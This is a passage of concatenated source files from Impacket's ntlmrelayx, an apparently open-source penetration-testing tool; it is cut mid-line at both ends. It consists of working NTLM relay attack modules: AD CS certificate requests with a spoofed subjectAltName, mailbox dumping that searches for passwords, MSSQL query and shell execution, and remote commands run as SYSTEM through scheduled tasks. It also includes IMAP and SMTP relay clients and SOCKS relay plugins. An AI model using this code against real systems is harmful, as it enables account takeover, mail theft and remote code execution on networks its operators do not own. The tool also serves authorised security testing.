(@_dirkjan) / Fox-IT (https://www.fox-it.com) 18 | # 19 | import os, sys 20 | import pkg_resources 21 | from impacket import LOG 22 | from threading import Thread 23 | 24 | PROTOCOL_ATTACKS = {} 25 | 26 | # Base class for Protocol Attacks for different protocols (SMB, MSSQL, etc) 27 | # Besides using this base class you need to define one global variable when 28 | # writing a plugin for protocol clients: 29 | # PROTOCOL_ATTACK_CLASS = "" 30 | # or (to support multiple classes in one file) 31 | # PROTOCOL_ATTACK_CLASSES = ["", ""] 32 | # These classes must have the attribute PLUGIN_NAMES which is a list of protocol names 33 | # that will be matched later with the relay targets (e.g. SMB, LDAP, etc) 34 | class ProtocolAttack(Thread): 35 | PLUGIN_NAMES = ['PROTOCOL'] 36 | def __init__(self, config, client, username): 37 | Thread.__init__(self) 38 | # Set threads as daemon 39 | self.daemon = True 40 | self.config = config 41 | self.client = client 42 | # By default we only use the username and remove the domain 43 | self.username = username.split('/')[1] 44 | # But we also store the domain for later use 45 | self.domain = username.split('/')[0] 46 | 47 | def run(self): 48 | raise RuntimeError('Virtual Function') 49 | 50 | for file in pkg_resources.resource_listdir('impacket.examples.ntlmrelayx', 'attacks'): 51 | if file.find('__') >= 0 or file.endswith('.py') is False: 52 | continue 53 | # This seems to be None in some case (py3 only) 54 | # __spec__ is py3 only though, but I haven't seen this being None on py2 55 | # so it should cover all cases. 56 | try: 57 | package = __spec__.name # Python 3 58 | except NameError: 59 | package = __package__ # Python 2 60 | __import__(package + '.' + os.path.splitext(file)[0]) 61 | module = sys.modules[package + '.' + os.path.splitext(file)[0]] 62 | try: 63 | pluginClasses = set() 64 | try: 65 | if hasattr(module, 'PROTOCOL_ATTACK_CLASSES'): 66 | # Multiple classes 67 | for pluginClass in module.PROTOCOL_ATTACK_CLASSES: 68 | pluginClasses.add(getattr(module, pluginClass)) 69 | else: 70 | # Single class 71 | pluginClasses.add(getattr(module, getattr(module, 'PROTOCOL_ATTACK_CLASS'))) 72 | except Exception as e: 73 | LOG.debug(e) 74 | pass 75 | 76 | for pluginClass in pluginClasses: 77 | for pluginName in pluginClass.PLUGIN_NAMES: 78 | LOG.debug('Protocol Attack %s loaded..' % pluginName) 79 | PROTOCOL_ATTACKS[pluginName] = pluginClass 80 | except Exception as e: 81 | LOG.debug(str(e)) 82 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/attacks/dcsyncattack.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # Copyright Fortra, LLC and its affiliated companies 4 | # 5 | # All rights reserved. 6 | # 7 | # This software is provided under a slightly modified version 8 | # of the Apache Software License. See the accompanying LICENSE file 9 | # for more information. 10 | # 11 | # Description: 12 | # HTTP Attack Class 13 | # HTTP protocol relay attack 14 | # 15 | # Authors: 16 | # Alberto Solino (@agsolino) 17 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 18 | # 19 | from impacket.examples.ntlmrelayx.attacks import ProtocolAttack 20 | from impacket.examples.secretsdump import RemoteOperations, SAMHashes, NTDSHashes 21 | 22 | PROTOCOL_ATTACK_CLASS = "DCSYNCAttack" 23 | 24 | class DCSYNCAttack(ProtocolAttack): 25 | """ 26 | This is the default HTTP attack. This attack only dumps the root page, though 27 | you can add any complex attack below. self.client is an instance of urrlib.session 28 | For easy advanced attacks, use the SOCKS option and use curl or a browser to simply 29 | proxy through ntlmrelayx 30 | """ 31 | PLUGIN_NAMES = ["DCSYNC"] 32 | def run(self): 33 | return 34 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/attacks/httpattack.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # Copyright Fortra, LLC and its affiliated companies 4 | # 5 | # All rights reserved. 6 | # 7 | # This software is provided under a slightly modified version 8 | # of the Apache Software License. See the accompanying LICENSE file 9 | # for more information. 10 | # 11 | # Description: 12 | # HTTP Attack Class 13 | # HTTP protocol relay attack 14 | # 15 | # Authors: 16 | # Alberto Solino (@agsolino) 17 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 18 | # Ex Android Dev (@ExAndroidDev) 19 | 20 | from impacket.examples.ntlmrelayx.attacks import ProtocolAttack 21 | from impacket.examples.ntlmrelayx.attacks.httpattacks.adcsattack import ADCSAttack 22 | from impacket.examples.ntlmrelayx.attacks.httpattacks.sccmpoliciesattack import SCCMPoliciesAttack 23 | from impacket.examples.ntlmrelayx.attacks.httpattacks.sccmdpattack import SCCMDPAttack 24 | 25 | 26 | 27 | PROTOCOL_ATTACK_CLASS = "HTTPAttack" 28 | 29 | 30 | class HTTPAttack(ProtocolAttack, ADCSAttack, SCCMPoliciesAttack, SCCMDPAttack): 31 | """ 32 | This is the default HTTP attack. This attack only dumps the root page, though 33 | you can add any complex attack below. self.client is an instance of urrlib.session 34 | For easy advanced attacks, use the SOCKS option and use curl or a browser to simply 35 | proxy through ntlmrelayx 36 | """ 37 | PLUGIN_NAMES = ["HTTP", "HTTPS"] 38 | 39 | def run(self): 40 | 41 | if self.config.isADCSAttack: 42 | ADCSAttack._run(self) 43 | elif self.config.isSCCMPoliciesAttack: 44 | SCCMPoliciesAttack._run(self) 45 | elif self.config.isSCCMDPAttack: 46 | SCCMDPAttack._run(self) 47 | else: 48 | # Default action: Dump requested page to file, named username-targetname.html 49 | # You can also request any page on the server via self.client.session, 50 | # for example with: 51 | print("DEFAULT CASE") 52 | self.client.request("GET", "/") 53 | r1 = self.client.getresponse() 54 | print(r1.status, r1.reason) 55 | data1 = r1.read() 56 | print(data1) 57 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/attacks/httpattacks/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fortra/impacket/ff8c200fd040b04d3b5ff05449646737f836235d/impacket/examples/ntlmrelayx/attacks/httpattacks/__init__.py -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/attacks/httpattacks/adcsattack.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # Copyright Fortra, LLC and its affiliated companies 4 | # 5 | # All rights reserved. 6 | # 7 | # This software is provided under a slightly modified version 8 | # of the Apache Software License. See the accompanying LICENSE file 9 | # for more information. 10 | # 11 | # Description: 12 | # AD CS relay attack 13 | # 14 | # Authors: 15 | # Ex Android Dev (@ExAndroidDev) 16 | # Tw1sm (@Tw1sm) 17 | 18 | import re 19 | import base64 20 | import os 21 | from OpenSSL import crypto 22 | 23 | from impacket import LOG 24 | 25 | # cache already attacked clients 26 | ELEVATED = [] 27 | 28 | 29 | class ADCSAttack: 30 | 31 | def _run(self): 32 | key = crypto.PKey() 33 | key.generate_key(crypto.TYPE_RSA, 4096) 34 | 35 | if self.username in ELEVATED: 36 | LOG.info('Skipping user %s since attack was already performed' % self.username) 37 | return 38 | 39 | current_template = self.config.template 40 | if current_template is None: 41 | current_template = "Machine" if self.username.endswith("$") else "User" 42 | 43 | csr = self.generate_csr(key, self.username, self.config.altName) 44 | csr = csr.decode().replace("\n", "").replace("+", "%2b").replace(" ", "+") 45 | LOG.info("CSR generated!") 46 | 47 | certAttrib = self.generate_certattributes(current_template, self.config.altName) 48 | 49 | data = "Mode=newreq&CertRequest=%s&CertAttrib=%s&TargetStoreFlags=0&SaveCert=yes&ThumbPrint=" % (csr, certAttrib) 50 | 51 | headers = { 52 | "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", 53 | "Content-Type": "application/x-www-form-urlencoded", 54 | "Content-Length": len(data) 55 | } 56 | 57 | LOG.info("Getting certificate...") 58 | 59 | self.client.request("POST", "/certsrv/certfnsh.asp", body=data, headers=headers) 60 | ELEVATED.append(self.username) 61 | response = self.client.getresponse() 62 | 63 | if response.status != 200: 64 | LOG.error("Error getting certificate! Make sure you have entered valid certificate template.") 65 | return 66 | 67 | content = response.read() 68 | found = re.findall(r'location="certnew.cer\?ReqID=(.*?)&', content.decode()) 69 | if len(found) == 0: 70 | LOG.error("Error obtaining certificate!") 71 | return 72 | 73 | certificate_id = found[0] 74 | 75 | self.client.request("GET", "/certsrv/certnew.cer?ReqID=" + certificate_id) 76 | response = self.client.getresponse() 77 | 78 | LOG.info("GOT CERTIFICATE! ID %s" % certificate_id) 79 | certificate = response.read().decode() 80 | 81 | certificate_store = self.generate_pfx(key, certificate) 82 | LOG.info("Writing PKCS#12 certificate to %s/%s.pfx" % (self.config.lootdir, self.username)) 83 | try: 84 | if not os.path.isdir(self.config.lootdir): 85 | os.mkdir(self.config.lootdir) 86 | with open("%s/%s.pfx" % (self.config.lootdir, self.username), 'wb') as f: 87 | f.write(certificate_store) 88 | LOG.info("Certificate successfully written to file") 89 | except Exception as e: 90 | LOG.info("Unable to write certificate to file, printing B64 of certificate to console instead") 91 | LOG.info("Base64-encoded PKCS#12 certificate of user %s: \n%s" % (self.username, base64.b64encode(certificate_store).decode())) 92 | pass 93 | 94 | if self.config.altName: 95 | LOG.info("This certificate can also be used for user : {}".format(self.config.altName)) 96 | 97 | def generate_csr(self, key, CN, altName): 98 | LOG.info("Generating CSR...") 99 | req = crypto.X509Req() 100 | req.get_subject().CN = CN 101 | 102 | if altName: 103 | req.add_extensions([crypto.X509Extension(b"subjectAltName", False, b"otherName:1.3.6.1.4.1.311.20.2.3;UTF8:%b" % altName.encode() )]) 104 | 105 | 106 | req.set_pubkey(key) 107 | req.sign(key, "sha256") 108 | 109 | return crypto.dump_certificate_request(crypto.FILETYPE_PEM, req) 110 | 111 | def generate_pfx(self, key, certificate): 112 | certificate = crypto.load_certificate(crypto.FILETYPE_PEM, certificate) 113 | p12 = crypto.PKCS12() 114 | p12.set_certificate(certificate) 115 | p12.set_privatekey(key) 116 | return p12.export() 117 | 118 | def generate_certattributes(self, template, altName): 119 | 120 | if altName: 121 | return "CertificateTemplate:{}%0d%0aSAN:upn={}".format(template, altName) 122 | return "CertificateTemplate:{}".format(template) 123 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/attacks/imapattack.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # Copyright Fortra, LLC and its affiliated companies 4 | # 5 | # All rights reserved. 6 | # 7 | # This software is provided under a slightly modified version 8 | # of the Apache Software License. See the accompanying LICENSE file 9 | # for more information. 10 | # 11 | # Description: 12 | # IMAP Attack Class 13 | # IMAP protocol relay attack 14 | # 15 | # Authors: 16 | # Alberto Solino (@agsolino) 17 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 18 | # 19 | import re 20 | import os 21 | from impacket import LOG 22 | from impacket.examples.ntlmrelayx.attacks import ProtocolAttack 23 | 24 | PROTOCOL_ATTACK_CLASS = "IMAPAttack" 25 | 26 | class IMAPAttack(ProtocolAttack): 27 | """ 28 | This is the default IMAP(s) attack. By default it searches the INBOX imap folder 29 | for messages with "password" in the header or body. Alternate keywords can be specified 30 | on the command line. For more advanced attacks, consider using the SOCKS feature. 31 | """ 32 | PLUGIN_NAMES = ["IMAP", "IMAPS"] 33 | def run(self): 34 | #Default action: Search the INBOX 35 | targetBox = self.config.mailbox 36 | result, data = self.client.select(targetBox,True) #True indicates readonly 37 | if result != 'OK': 38 | LOG.error('Could not open mailbox %s: %s' % (targetBox, data)) 39 | LOG.info('Opening mailbox INBOX') 40 | targetBox = 'INBOX' 41 | result, data = self.client.select(targetBox,True) #True indicates readonly 42 | inboxCount = int(data[0]) 43 | LOG.info('Found %s messages in mailbox %s' % (inboxCount, targetBox)) 44 | #If we should not dump all, search for the keyword 45 | if not self.config.dump_all: 46 | result, rawdata = self.client.search(None, 'OR', 'SUBJECT', '"%s"' % self.config.keyword, 'BODY', '"%s"' % self.config.keyword) 47 | #Check if search worked 48 | if result != 'OK': 49 | LOG.error('Search failed: %s' % rawdata) 50 | return 51 | dumpMessages = [] 52 | #message IDs are separated by spaces 53 | for msgs in rawdata: 54 | dumpMessages += msgs.split(' ') 55 | if self.config.dump_max != 0 and len(dumpMessages) > self.config.dump_max: 56 | dumpMessages = dumpMessages[:self.config.dump_max] 57 | else: 58 | #Dump all mails, up to the maximum number configured 59 | if self.config.dump_max == 0 or self.config.dump_max > inboxCount: 60 | dumpMessages = list(range(1, inboxCount+1)) 61 | else: 62 | dumpMessages = list(range(1, self.config.dump_max+1)) 63 | 64 | numMsgs = len(dumpMessages) 65 | if numMsgs == 0: 66 | LOG.info('No messages were found containing the search keywords') 67 | else: 68 | LOG.info('Dumping %d messages found by search for "%s"' % (numMsgs, self.config.keyword)) 69 | for i, msgIndex in enumerate(dumpMessages): 70 | #Fetch the message 71 | result, rawMessage = self.client.fetch(msgIndex, '(RFC822)') 72 | if result != 'OK': 73 | LOG.error('Could not fetch message with index %s: %s' % (msgIndex, rawMessage)) 74 | continue 75 | 76 | #Replace any special chars in the mailbox name and username 77 | mailboxName = re.sub(r'[^a-zA-Z0-9_\-\.]+', '_', targetBox) 78 | textUserName = re.sub(r'[^a-zA-Z0-9_\-\.]+', '_', self.username) 79 | 80 | #Combine username with mailboxname and mail number 81 | fileName = 'mail_' + textUserName + '-' + mailboxName + '_' + str(msgIndex) + '.eml' 82 | 83 | #Write it to the file 84 | with open(os.path.join(self.config.lootdir,fileName),'w') as of: 85 | of.write(rawMessage[0][1]) 86 | LOG.info('Done fetching message %d/%d' % (i+1,numMsgs)) 87 | 88 | #Close connection cleanly 89 | self.client.logout() 90 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/attacks/mssqlattack.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # Copyright Fortra, LLC and its affiliated companies 4 | # 5 | # All rights reserved. 6 | # 7 | # This software is provided under a slightly modified version 8 | # of the Apache Software License. See the accompanying LICENSE file 9 | # for more information. 10 | # 11 | # Description: 12 | # MSSQL Attack Class 13 | # MSSQL protocol relay attack 14 | # 15 | # Authors: 16 | # Alberto Solino (@agsolino) 17 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 18 | # Sylvain Heiniger (@sploutchy) / Compass Security (https://www.compass-security.com) 19 | # 20 | from impacket import LOG 21 | from impacket.examples.mssqlshell import SQLSHELL 22 | from impacket.examples.ntlmrelayx.attacks import ProtocolAttack 23 | from impacket.examples.ntlmrelayx.utils.tcpshell import TcpShell 24 | 25 | PROTOCOL_ATTACK_CLASS = "MSSQLAttack" 26 | 27 | class MSSQLAttack(ProtocolAttack): 28 | PLUGIN_NAMES = ["MSSQL"] 29 | def __init__(self, config, MSSQLclient, username): 30 | ProtocolAttack.__init__(self, config, MSSQLclient, username) 31 | if self.config.interactive: 32 | # Launch locally listening interactive shell. 33 | self.tcp_shell = TcpShell() 34 | 35 | def run(self): 36 | if self.config.interactive: 37 | if self.tcp_shell is not None: 38 | LOG.info('Started interactive MSSQL shell via TCP on 127.0.0.1:%d' % self.tcp_shell.port) 39 | # Start listening and launch interactive shell. 40 | self.tcp_shell.listen() 41 | mssql_shell = SQLSHELL(self.client, tcpShell=self.tcp_shell) 42 | mssql_shell.cmdloop() 43 | return 44 | 45 | if self.config.queries is not None: 46 | for query in self.config.queries: 47 | LOG.info('Executing SQL: %s' % query) 48 | self.client.sql_query(query) 49 | self.client.printReplies() 50 | self.client.printRows() 51 | else: 52 | LOG.error('No SQL queries specified for MSSQL relay!') 53 | 54 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/attacks/rpcattack.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # Copyright Fortra, LLC and its affiliated companies 4 | # 5 | # All rights reserved. 6 | # 7 | # This software is provided under a slightly modified version 8 | # of the Apache Software License. See the accompanying LICENSE file 9 | # for more information. 10 | # 11 | # Authors: 12 | # Arseniy Sharoglazov / Positive Technologies (https://www.ptsecurity.com/) 13 | # Based on @agsolino and @_dirkjan code 14 | # 15 | 16 | import time 17 | import string 18 | import random 19 | 20 | from impacket import LOG 21 | from impacket.dcerpc.v5 import tsch 22 | from impacket.dcerpc.v5.dtypes import NULL 23 | from impacket.examples.ntlmrelayx.attacks import ProtocolAttack 24 | 25 | PROTOCOL_ATTACK_CLASS = "RPCAttack" 26 | 27 | class TSCHRPCAttack: 28 | def _xml_escape(self, data): 29 | replace_table = { 30 | "&": "&", 31 | '"': """, 32 | "'": "'", 33 | ">": ">", 34 | "<": "<", 35 | } 36 | return ''.join(replace_table.get(c, c) for c in data) 37 | 38 | def _run(self): 39 | # Here PUT YOUR CODE! 40 | tmpName = ''.join([random.choice(string.ascii_letters) for _ in range(8)]) 41 | 42 | cmd = "cmd.exe" 43 | args = "/C %s" % self.config.command 44 | 45 | LOG.info('Executing command %s in no output mode via %s' % (self.config.command, self.stringbinding)) 46 | 47 | xml = """ 48 | 49 | 50 | 51 | 2015-07-15T20:35:13.2757294 52 | true 53 | 54 | 1 55 | 56 | 57 | 58 | 59 | 60 | S-1-5-18 61 | HighestAvailable 62 | 63 | 64 | 65 | IgnoreNew 66 | false 67 | false 68 | true 69 | false 70 | 71 | true 72 | false 73 | 74 | true 75 | true 76 | true 77 | false 78 | false 79 | P3D 80 | 7 81 | 82 | 83 | 84 | %s 85 | %s 86 | 87 | 88 | 89 | """ % (self._xml_escape(cmd), self._xml_escape(args)) 90 | 91 | LOG.info('Creating task \\%s' % tmpName) 92 | tsch.hSchRpcRegisterTask(self.dce, '\\%s' % tmpName, xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE) 93 | 94 | LOG.info('Running task \\%s' % tmpName) 95 | done = False 96 | 97 | tsch.hSchRpcRun(self.dce, '\\%s' % tmpName) 98 | 99 | while not done: 100 | LOG.debug('Calling SchRpcGetLastRunInfo for \\%s' % tmpName) 101 | resp = tsch.hSchRpcGetLastRunInfo(self.dce, '\\%s' % tmpName) 102 | if resp['pLastRuntime']['wYear'] != 0: 103 | done = True 104 | else: 105 | time.sleep(2) 106 | 107 | LOG.info('Deleting task \\%s' % tmpName) 108 | tsch.hSchRpcDelete(self.dce, '\\%s' % tmpName) 109 | LOG.info('Completed!') 110 | 111 | 112 | class RPCAttack(ProtocolAttack, TSCHRPCAttack): 113 | PLUGIN_NAMES = ["RPC"] 114 | 115 | def __init__(self, config, dce, username): 116 | ProtocolAttack.__init__(self, config, dce, username) 117 | self.dce = dce 118 | self.rpctransport = dce.get_rpc_transport() 119 | self.stringbinding = self.rpctransport.get_stringbinding() 120 | 121 | def run(self): 122 | # Here PUT YOUR CODE! 123 | 124 | # Assume the endpoint is TSCH 125 | # TODO: support relaying RPC to different endpoints 126 | # TODO: support for providing a shell 127 | # TODO: support for getting an output 128 | if self.config.command is not None: 129 | TSCHRPCAttack._run(self) 130 | else: 131 | LOG.error("No command provided to attack") 132 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/clients/imaprelayclient.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # Copyright Fortra, LLC and its affiliated companies 4 | # 5 | # All rights reserved. 6 | # 7 | # This software is provided under a slightly modified version 8 | # of the Apache Software License. See the accompanying LICENSE file 9 | # for more information. 10 | # 11 | # Description: 12 | # IMAP Protocol Client 13 | # IMAP client for relaying NTLMSSP authentication to mailservers, for example Exchange 14 | # 15 | # Author: 16 | # Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) 17 | # Alberto Solino (@agsolino) 18 | # 19 | import imaplib 20 | import base64 21 | from struct import unpack 22 | 23 | from impacket import LOG 24 | from impacket.examples.ntlmrelayx.clients import ProtocolClient 25 | from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED 26 | from impacket.ntlm import NTLMAuthChallenge 27 | from impacket.spnego import SPNEGO_NegTokenResp 28 | 29 | PROTOCOL_CLIENT_CLASSES = ["IMAPRelayClient","IMAPSRelayClient"] 30 | 31 | class IMAPRelayClient(ProtocolClient): 32 | PLUGIN_NAME = "IMAP" 33 | 34 | def __init__(self, serverConfig, target, targetPort = 143, extendedSecurity=True ): 35 | ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity) 36 | 37 | def initConnection(self): 38 | self.session = imaplib.IMAP4(self.targetHost,self.targetPort) 39 | self.authTag = self.session._new_tag() 40 | LOG.debug('IMAP CAPABILITIES: %s' % str(self.session.capabilities)) 41 | if 'AUTH=NTLM' not in self.session.capabilities: 42 | LOG.error('IMAP server does not support NTLM authentication!') 43 | return False 44 | return True 45 | 46 | def sendNegotiate(self,negotiateMessage): 47 | negotiate = base64.b64encode(negotiateMessage) 48 | self.session.send('%s AUTHENTICATE NTLM%s' % (self.authTag,imaplib.CRLF)) 49 | resp = self.session.readline().strip() 50 | if resp != '+': 51 | LOG.error('IMAP Client error, expected continuation (+), got %s ' % resp) 52 | return False 53 | else: 54 | self.session.send(negotiate + imaplib.CRLF) 55 | try: 56 | serverChallengeBase64 = self.session.readline().strip()[2:] #first two chars are the continuation and space char 57 | serverChallenge = base64.b64decode(serverChallengeBase64) 58 | challenge = NTLMAuthChallenge() 59 | challenge.fromString(serverChallenge) 60 | return challenge 61 | except (IndexError, KeyError, AttributeError): 62 | LOG.error('No NTLM challenge returned from IMAP server') 63 | raise 64 | 65 | def sendAuth(self, authenticateMessageBlob, serverChallenge=None): 66 | if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: 67 | respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) 68 | token = respToken2['ResponseToken'] 69 | else: 70 | token = authenticateMessageBlob 71 | auth = base64.b64encode(token) 72 | self.session.send(auth + imaplib.CRLF) 73 | typ, data = self.session._get_tagged_response(self.authTag) 74 | if typ == 'OK': 75 | self.session.state = 'AUTH' 76 | return None, STATUS_SUCCESS 77 | else: 78 | LOG.error('IMAP: %s' % ' '.join(data)) 79 | return None, STATUS_ACCESS_DENIED 80 | 81 | def killConnection(self): 82 | if self.session is not None: 83 | self.session.logout() 84 | self.session = None 85 | 86 | def keepAlive(self): 87 | # Send a NOOP 88 | self.session.noop() 89 | 90 | class IMAPSRelayClient(IMAPRelayClient): 91 | PLUGIN_NAME = "IMAPS" 92 | 93 | def __init__(self, serverConfig, targetHost, targetPort = 993, extendedSecurity=True ): 94 | ProtocolClient.__init__(self, serverConfig, targetHost, targetPort, extendedSecurity) 95 | 96 | def initConnection(self): 97 | self.session = imaplib.IMAP4_SSL(self.targetHost,self.targetPort) 98 | self.authTag = self.session._new_tag() 99 | LOG.debug('IMAP CAPABILITIES: %s' % str(self.session.capabilities)) 100 | if 'AUTH=NTLM' not in self.session.capabilities: 101 | LOG.error('IMAP server does not support NTLM authentication!') 102 | return False 103 | return True 104 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/clients/smtprelayclient.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # Copyright Fortra, LLC and its affiliated companies 4 | # 5 | # All rights reserved. 6 | # 7 | # This software is provided under a slightly modified version 8 | # of the Apache Software License. See the accompanying LICENSE file 9 | # for more information. 10 | # 11 | # Description: 12 | # SMTP Protocol Client 13 | # SMTP client for relaying NTLMSSP authentication to mailservers, for example Exchange 14 | # 15 | # Author: 16 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 17 | # Alberto Solino (@agsolino) 18 | # 19 | import smtplib 20 | import base64 21 | from struct import unpack 22 | 23 | from impacket import LOG 24 | from impacket.examples.ntlmrelayx.clients import ProtocolClient 25 | from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED 26 | from impacket.ntlm import NTLMAuthChallenge 27 | from impacket.spnego import SPNEGO_NegTokenResp 28 | 29 | PROTOCOL_CLIENT_CLASSES = ["SMTPRelayClient"] 30 | 31 | class SMTPRelayClient(ProtocolClient): 32 | PLUGIN_NAME = "SMTP" 33 | 34 | def __init__(self, serverConfig, target, targetPort = 25, extendedSecurity=True ): 35 | ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity) 36 | 37 | def initConnection(self): 38 | self.session = smtplib.SMTP(self.targetHost,self.targetPort) 39 | # Turn on to debug SMTP messages 40 | # self.session.debuglevel = 3 41 | self.session.ehlo() 42 | 43 | if 'AUTH NTLM' not in self.session.ehlo_resp: 44 | LOG.error('SMTP server does not support NTLM authentication!') 45 | return False 46 | return True 47 | 48 | def sendNegotiate(self,negotiateMessage): 49 | negotiate = base64.b64encode(negotiateMessage) 50 | self.session.putcmd('AUTH NTLM') 51 | code, resp = self.session.getreply() 52 | if code != 334: 53 | LOG.error('SMTP Client error, expected 334 NTLM supported, got %d %s ' % (code, resp)) 54 | return False 55 | else: 56 | self.session.putcmd(negotiate) 57 | try: 58 | code, serverChallengeBase64 = self.session.getreply() 59 | serverChallenge = base64.b64decode(serverChallengeBase64) 60 | challenge = NTLMAuthChallenge() 61 | challenge.fromString(serverChallenge) 62 | return challenge 63 | except (IndexError, KeyError, AttributeError): 64 | LOG.error('No NTLM challenge returned from SMTP server') 65 | raise 66 | 67 | def sendAuth(self, authenticateMessageBlob, serverChallenge=None): 68 | if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: 69 | respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) 70 | token = respToken2['ResponseToken'] 71 | else: 72 | token = authenticateMessageBlob 73 | auth = base64.b64encode(token) 74 | self.session.putcmd(auth) 75 | typ, data = self.session.getreply() 76 | if typ == 235: 77 | self.session.state = 'AUTH' 78 | return None, STATUS_SUCCESS 79 | else: 80 | LOG.error('SMTP: %s' % ''.join(data)) 81 | return None, STATUS_ACCESS_DENIED 82 | 83 | def killConnection(self): 84 | if self.session is not None: 85 | self.session.close() 86 | self.session = None 87 | 88 | def keepAlive(self): 89 | # Send a NOOP 90 | self.session.noop() 91 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/servers/__init__.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # Copyright Fortra, LLC and its affiliated companies 4 | # 5 | # All rights reserved. 6 | # 7 | # This software is provided under a slightly modified version 8 | # of the Apache Software License. See the accompanying LICENSE file 9 | # for more information. 10 | # 11 | from impacket.examples.ntlmrelayx.servers.httprelayserver import HTTPRelayServer 12 | from impacket.examples.ntlmrelayx.servers.smbrelayserver import SMBRelayServer 13 | from impacket.examples.ntlmrelayx.servers.wcfrelayserver import WCFRelayServer 14 | from impacket.examples.ntlmrelayx.servers.rawrelayserver import RAWRelayServer -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/servers/socksplugins/__init__.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # Copyright Fortra, LLC and its affiliated companies 4 | # 5 | # All rights reserved. 6 | # 7 | # This software is provided under a slightly modified version 8 | # of the Apache Software License. See the accompanying LICENSE file 9 | # for more information. 10 | # 11 | import os 12 | import sys 13 | import pkg_resources 14 | 15 | SOCKS_RELAYS = set() 16 | 17 | for file in pkg_resources.resource_listdir('impacket.examples.ntlmrelayx.servers', 'socksplugins'): 18 | if file.find('__') >= 0 or file.endswith('.py') is False: 19 | continue 20 | # This seems to be None in some case (py3 only) 21 | # __spec__ is py3 only though, but I haven't seen this being None on py2 22 | # so it should cover all cases. 23 | try: 24 | package = __spec__.name # Python 3 25 | except NameError: 26 | package = __package__ # Python 2 27 | __import__(package + '.' + os.path.splitext(file)[0]) 28 | module = sys.modules[package + '.' + os.path.splitext(file)[0]] 29 | pluginClass = getattr(module, getattr(module, 'PLUGIN_CLASS')) 30 | SOCKS_RELAYS.add(pluginClass) 31 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/servers/socksplugins/https.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # Copyright Fortra, LLC and its affiliated companies 4 | # 5 | # All rights reserved. 6 | # 7 | # This software is provided under a slightly modified version 8 | # of the Apache Software License. See the accompanying LICENSE file 9 | # for more information. 10 | # 11 | # Description: 12 | # Socks Proxy for the HTTPS Protocol 13 | # 14 | # A simple SOCKS server that proxies a connection to relayed HTTPS connections 15 | # 16 | # Author: 17 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 18 | # 19 | from impacket import LOG 20 | from impacket.examples.ntlmrelayx.servers.socksplugins.http import HTTPSocksRelay 21 | from impacket.examples.ntlmrelayx.utils.ssl import SSLServerMixin 22 | from OpenSSL import SSL 23 | 24 | # Besides using this base class you need to define one global variable when 25 | # writing a plugin: 26 | PLUGIN_CLASS = "HTTPSSocksRelay" 27 | EOL = '\r\n' 28 | 29 | class HTTPSSocksRelay(SSLServerMixin, HTTPSocksRelay): 30 | PLUGIN_NAME = 'HTTPS Socks Plugin' 31 | PLUGIN_SCHEME = 'HTTPS' 32 | 33 | def __init__(self, targetHost, targetPort, socksSocket, activeRelays): 34 | HTTPSocksRelay.__init__(self, targetHost, targetPort, socksSocket, activeRelays) 35 | 36 | @staticmethod 37 | def getProtocolPort(): 38 | return 443 39 | 40 | def skipAuthentication(self): 41 | LOG.debug('Wrapping client connection in TLS/SSL') 42 | self.wrapClientConnection() 43 | if not HTTPSocksRelay.skipAuthentication(self): 44 | # Shut down TLS connection 45 | self.socksSocket.shutdown() 46 | return False 47 | return True 48 | 49 | def tunnelConnection(self): 50 | while True: 51 | try: 52 | data = self.socksSocket.recv(self.packetSize) 53 | except SSL.ZeroReturnError: 54 | # The SSL connection was closed, return 55 | return 56 | # Pass the request to the server 57 | tosend 